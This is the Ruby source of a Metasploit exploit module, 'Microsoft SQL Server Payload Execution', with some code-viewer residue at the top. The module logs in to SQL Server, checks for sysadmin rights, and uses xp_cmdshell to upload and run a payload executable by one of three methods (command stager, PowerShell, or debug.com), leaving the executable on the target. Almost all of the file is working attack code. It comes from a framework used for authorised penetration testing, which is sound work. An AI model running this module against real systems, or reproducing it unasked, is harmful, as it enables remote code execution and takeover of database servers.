123 lines
3.7 KiB
Ruby
123 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::MSSQL
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include Msf::Exploit::CmdStager
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#include Msf::Exploit::CmdStagerDebugAsm
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#include Msf::Exploit::CmdStagerDebugWrite
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#include Msf::Exploit::CmdStagerTFTP
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SQL Server Payload Execution',
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'Description' => %q{
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This module executes an arbitrary payload on a Microsoft SQL Server by using
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the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.
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First, the original method uses Windows 'debug.com'. File size restrictions are
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avoidied by incorporating the debug bypass method presented by SecureStat at
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Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
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A second method takes advantage of the Command Stager subsystem. This allows using
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various techniques, such as using a TFTP server, to send the executable. By default
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the Command Stager uses 'wcsript.exe' to generate the executable on the target.
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Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
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payload on the target.
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NOTE: This module will leave a payload executable on the target system when the
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attack is finished.
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},
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'Author' =>
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[
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'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
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'jduck' # command stager mods
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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# 'sa' password in logs
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[ 'CVE', '2000-0402' ],
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[ 'OSVDB', '557' ],
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[ 'BID', '1281' ],
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# blank default 'sa' password
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[ 'CVE', '2000-1209' ],
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[ 'OSVDB', '15757' ],
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[ 'BID', '4797' ]
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],
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'CmdStagerFlavor' => 'vbs',
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'DefaultTarget' => 0,
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'DisclosureDate' => 'May 30 2000'
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))
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register_options(
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[
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OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])
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])
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end
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def check
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if (not mssql_login_datastore)
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vprint_status("Invalid SQL Server credentials")
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return Exploit::CheckCode::Detected
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end
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mssql_query("select @@version", true)
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if mssql_is_sysadmin
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vprint_good "User #{datastore['USERNAME']} is a sysadmin"
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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ensure
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disconnect
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end
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# This is method required for the CmdStager to work...
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def execute_command(cmd, opts)
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mssql_xpcmdshell(cmd, datastore['VERBOSE'])
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end
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def exploit
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if (not mssql_login_datastore)
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print_status("Invalid SQL Server credentials")
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return
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end
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method = datastore['METHOD'].downcase
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if (method =~ /^cmd/)
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execute_cmdstager({ :linemax => 1500, :nodelete => true })
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#execute_cmdstager({ :linemax => 1500 })
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else
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# Generate the EXE, this is the same no matter what delivery mechanism we use
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exe = generate_payload_exe
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# Use powershell method for payload delivery if specified
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if (method =~ /^ps/) or (method =~ /^power/)
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powershell_upload_exec(exe)
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else
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# Otherwise, fall back to the old way..
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mssql_upload_exec(exe, datastore['VERBOSE'])
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end
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end
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handler
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disconnect
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end
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end
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